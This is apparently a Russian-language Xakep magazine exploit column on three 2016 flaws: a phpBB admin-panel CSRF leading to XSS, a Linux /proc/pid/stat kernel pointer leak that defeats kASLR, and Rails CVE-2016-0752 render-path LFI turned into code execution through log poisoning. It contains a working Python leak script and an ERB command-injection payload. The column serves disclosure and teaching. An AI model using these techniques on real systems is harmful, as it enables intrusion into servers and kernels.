Содержание статьи
Сегодня мы разберем CSRF-уязвимость в популярном форуме phpBB, а также покажем пример поиска подобных ошибок в большом проекте. Далее разберем технологию обхода kASLR и изучим эксплоит, основанный на удаленном выполнении кода в Ruby on Rails.
CSRF-уязвимость в phpBB
CVSSv2
N/A
BRIEF
Дата релиза: 25 января 2016 года
Автор: Lander Brandt
CVE: N/A
Уязвимость была найдена в администраторской панели управления форума в форме создания BBCode. Поскольку BBCode добавлен в белый список, созданный для администраторов, атакующий может инжектить произвольный HTML или JavaScript в посты на форуме.
Для лучшего понимания автор рекомендует рассмотреть скрипт ./phpbb/phpBB/posting.php
, так как он вызывается, когда пользователи создают сообщения или темы. Этот контроллер должен проверять права доступа и возможность создания записей, а также обрабатывать формы и, возможно, экранировать HTML. В самом начале файла мы можем увидеть нечто интересное.
// Оставляем только нужные параметры
$post_id = request_var('p', 0);
$topic_id = request_var('t', 0);
$forum_id = request_var('f', 0);
$draft_id = request_var('d', 0);
$lastclick = request_var('lastclick', 0);
$preview = (isset($_POST['preview'])) ? true : false;
$save = (isset($_POST['save'])) ? true : false;
$load = (isset($_POST['load'])) ? true : false;
$confirm = $request->is_set_post('confirm');
$cancel = (isset($_POST['cancel']) && !isset($_POST['save'])) ? true : false;
Здесь определено большинство параметров, используемых в контроллере. Часть из них берет свои значения из устаревшей функции request_var()
. Она представляет собой обертку метода \phpbb\request\request_interface::variable()
, который возвращает запрошенные значения из некоторого ассоциативного массива. Массив этот является объединением значений глобальных переменных $_GET
и $_POST
. Все эти значения также обработаны функцией trim()
и приведены к нужному типу.
Таким образом, если мы найдем форму, которая отправляет запросы POST, то, возможно, там же сможем отправить и GET. А это верный путь к нахождению CSRF-уязвимости.
Но для начала разберем, как работают CSRF-токены в phpBB. Поищем строку с обработчиком одной из форм.
if ($submit && check_form_key('posting'))
Из названия функции check_form_key()
ясно, что она проверяет токен CSRF, а если заглянуть внутрь, то обнаруживается, что делает она это простым сравнением. Ниже в файле есть вызов еще одной функции.
add_form_key('posting');
То есть и добавление, и проверка токена CSRF осуществляется вручную. А это еще больше наталкивает на мысль о наличии уязвимости.
Попробуем найти в исходниках вызовы функций add_form_key()
и check_form_key()
. Наша задача — найти файлы, где есть add_form_key()
и при этом нет check_form_key()
. На следующем скриншоте показаны результаты такого поиска.
Xakep #205. Взлом Single Sign-On
Большее количество вызовов check_form_key()
, чем add_form_key()
, не должно тебя смущать, так как проверять токен можно сколько угодно раз. Мы же ищем такие места, где токен добавляется, но не проверяется. Таких мест всего два: acp_bbcode.php
и acp_extensions.php
.
Файл acp_extensions.php
нам не слишком интересен, так как он всего лишь предоставляет администраторам возможность видеть нестабильные версии расширений phpBB при проверке обновлений. В ходе успешной эксплуатации такой CSRF-уязвимости атакующий может сделать так, что администратор будет думать, будто его плагины устарели. Не слишком полезно.
А вот второй файл (acp_bbcode.php
) подходит как нельзя лучше, так как принимает параметры через POST-запрос, а метод request_var()
используется для получения всех значений из формы. В итоге, используя полученный CSRF-токен, мы можем создавать произвольные команды BBCode через GET-запрос.
Хоть эта уязвимость и может привести к XSS, но это не совсем полезно для атакующего. По умолчанию phpBB повторно аутентифицирует админов, которые заходят в панель управления, и дает им в этот момент другой ID для сессии. SID по умолчанию должен присутствовать как в cookie, так и в строке запроса.
Теоретически возможна тайминг-атака, так как идентификаторы сессии проверяются оператором сравнения.
($this->session_id !== $session_id)
Однако это не особенно практично, потому что сессии привязаны к IP, версии браузера и некоторой другой информации. Но главное — провести такую атаку по сети непросто. Исключение — если на одной из страниц панели админа есть уязвимость XSS, которая позволит получить SID из document.location.
EXPLOIT
Автор опубликовал отчет и видео, где показано, как использовать эту уязвимость.
TARGETS
phpBB < 3.1.7-PL1.
SOLUTION
Производитель выпустил исправление.
Эксплуатируем утечку информации в ядре Linux, чтобы обойти kASLR
CVSSv2
N/A
BRIEF
Дата релиза: 24 января 2016 года
Автор: Marco Grassi
CVE: N/A
Многие из читателей знают про механизм ASLR (Address Space Layout Randomization) — рандомизацию адресного пространства. Менее известный kASLR — это то же самое, но для ядра (k — kernel). Пока что kASLR не включен по умолчанию в популярных дистрибутивах, но это не делает их менее безопасными. И вот почему.
Некоторое время назад исследователь Марко Грасси изучал каталог /proc
в Android, и его внимание привлекло поле WCHAN. Это канал ожидания (wait channel), там содержится адрес события, которое ожидает конкретный процесс. Увидеть его можно при запуске команды ps
с опцией -l
.
Узнать значение wchan ты можешь из пространства пользователя, прочитав /proc/pid_of_interest/stat
. И это довольно странно. Что, если наш процесс находится в пространстве ядра? Тогда мы получим адрес ядра? После некоторых проверок автор получил положительный ответ.
marco@marco-l:~/Documents$ cat /proc/2755/stat
2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0
Значение 18446744071579755915
— это, очевидно, место расположения кода ядра, и в hex выглядит следующим образом:
>>> hex(18446744071579755915)
'0xffffffff810de58bL'
В качестве тестовой ОС автор выбрал Ubuntu 14.04, но, так как kASLR там не включен по умолчанию, для успешного воспроизведения следующего примера нужно будет его включить.
EXPLOIT
Тестовый скрипт очень прост и быстр. Как сказано ранее, в /proc/pid/stat
лежит код ожидания из пространства ядра, поэтому мы можем:
- Зафиксировать это место ожидания.
- Получить с помощью WCHAN значение ASLR.
- Сравнить утекшее значение с известным «случайным» значением.
- Вывести смещение.
Для первого пункта мы можем воспользоваться следующим трюком: если форкнуть процесс и перевести его в режим сна, то после этого мы сможем прочитать его /proc/sleeping-pid/stat
, и, пока процесс спит, это будет стабильным значением.
Во втором пункте все ясно, а в третьем известное значение мы можем получить, к примеру, запустив ядро без включенного kASLR, но есть и другие способы.
Пример получения адресов на языке Python.
import subprocess
import time
import sys
import pprint
PROC_PATH = "/proc/%d/stat"
NON_SLID_VALUE = 0xffffffff810de58b
def main():
sleepp = subprocess.Popen('sleep 100000'.split())
time.sleep(1)
child_pid = sleepp.pid
content = None
with open(PROC_PATH %(child_pid), 'r') as f:
content = f.read()
if not content:
print 'Unable to read stat from child'
sys.exit(0)
elements = content.split()
print 'Leaking kernel pointers...'
leak = int(elements[34])
print 'leak: 0x%x %d' %(leak, leak)
print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE)
if __name__ == '__main__':
main()
Вот как будет выглядеть результат работы.
marco@marco-l:~/Documents$ python infoleak.py
Leaking kernel pointers...
leak: 0xffffffffb70de58b 18446744072485725579
kASLR slide: 0x36000000
Если хочешь узнать больше про kASLR, рекомендую вот этот топик с подборкой ссылок по теме.
TARGETS
Системы с включенным kASLR и без указанного ниже патча.
SOLUTION
Производитель выпустил исправление.
Удаленное выполнение кода в Ruby on Rails
CVSSv2
N/A
BRIEF
Дата релиза: 25 января 2016 года
Автор: John Poulin
CVE: CVE-2016-0752
Разберем уязвимость в фреймворке Ruby on Rails, которая в определенных условиях позволяет атакующему выполнить удаленно произвольный код. Если исследуемое приложение использует динамический рендеринг путей (к примеру, render params[:id]
), то оно уязвимо.
Контроллеры RoR по умолчанию полностью рендерят отображаемый файл, который соответствует вызываемым методам. К примеру, метод контроллера show
полностью сгенерирует файл show.html.erb
, если не получит других точных параметров рендеринга.
Однако во многих случаях разработчики решают, как рендерить, на основе формата, то есть результат будет разным в зависимости от того, что должно быть на выходе — HTML, JSON, XML или другой формат. В указанном выше случае используется языковой шаблон (ERB, HAML и так далее). Есть несколько методов, которые можно использовать, чтобы повлиять на отображение содержимого. Для наших целей мы сфокусируемся на методе рендеринга. В документации Rails описано несколько способов вызывать такой метод, включая возможность явно указать путь к содержимому с помощью опции file:
.
Рассмотрим небольшой код.
def show
render params[:template]
end
На первый взгляд он очень прост, и можно сразу предположить, что контроллер хочет отобразить шаблон с помощью параметра template
. Но неясно, откуда он его будет подгружать. Из основной директории или откуда-то еще? Будет ли это полный путь до файла или просто его имя? Разберемся с механизмом чуть подробнее. Это яркий пример функции, которая пытается выполнить слишком много всего. В ней-то и кроется проблема.
Предположим, мы ждем, что функция отрендерит файл app/views/user/#{params[:template]}
. Другими словами, если значение параметра шаблона будет равно dashboard
, то будет выполнена попытка загрузить файл app/views/user/dashboard.{ext}
, где ext
— это любое из разрешенных расширений: .html, .haml, .html.erb и так далее.
Но что будет, если мы попытаемся загрузить шаблон из другого пути — ../admin/dashboard
?
После небольшого анализа ошибки стало понятно, что приложение пытается найти шаблон по нескольким путям, включая RAILS_ROOT/app/views
, RAILS_ROOT
и корневую директорию системы. Первым делом, конечно, хочется проверить доступность файла /etc/passwd
, что и сделал автор эксплоита.
Если мы можем читать файлы системы, то, может, получится узнать содержимое исходников приложения и его настройки? Например, config/initializers/secrettoken.rb
.
Сделать все это позволил код, который использовал динамический рендеринг путей внутри приложения. И к сожалению, это не самое худшее.
EXPLOIT
Исследователь Джефф Джармок описал в своей статье «The Anatomy of a Rails Vulnerability — CVE-2014-0130: From Directory Traversal to Shell» возможность получения шелла в приложениях Rails, если будет найдена уязвимость обхода путей. Он как раз описывает схожую ошибку, скрытую в механизме рендеринга. В нашем же случае была найдена уязвимость типа LFI, а она имеет другую особенность. Мы загружаем, интерпретируем и выполняем файл как код (ERB). Обычная уязвимость обхода путей возвращает неисполняемый контент (к примеру, файл CSV). Мы же не только можем прочитать исходники приложения и другие доступные для чтения файлы в системе, но и выполнить Ruby-код с правами веб-сервера.
Для проведения атаки воспользуемся техникой «загрязнения» логов, которую мы уже не раз описывали. Ruby on Rails спроектирован так, что записывает все запросы, включая параметры, в файл с логами окружения (к примеру, development.log
).
Отправим запрос на правильную страницу, но с поддельным параметром и URL-кодированным значением:
<%= `ls` %>
Проверим содержимое лога.
И попытаемся обратиться к обновленному development.log
.
Наша небольшая полезная нагрузка была выполнена и заменена на результат работы команды ls
.
Автором был написан модуль для Metasploit, который автоматизирует атаку.
Оригинальную статью ты можешь прочитать в блоге компании автора. В ней же он приводит и пример патча к фреймворку, если ты по тем или иным причинам не можешь обновить RoR.
TARGETS
Ruby on Rails без патча от 25 января 2016 года.
SOLUTION
Производитель выпустил исправление.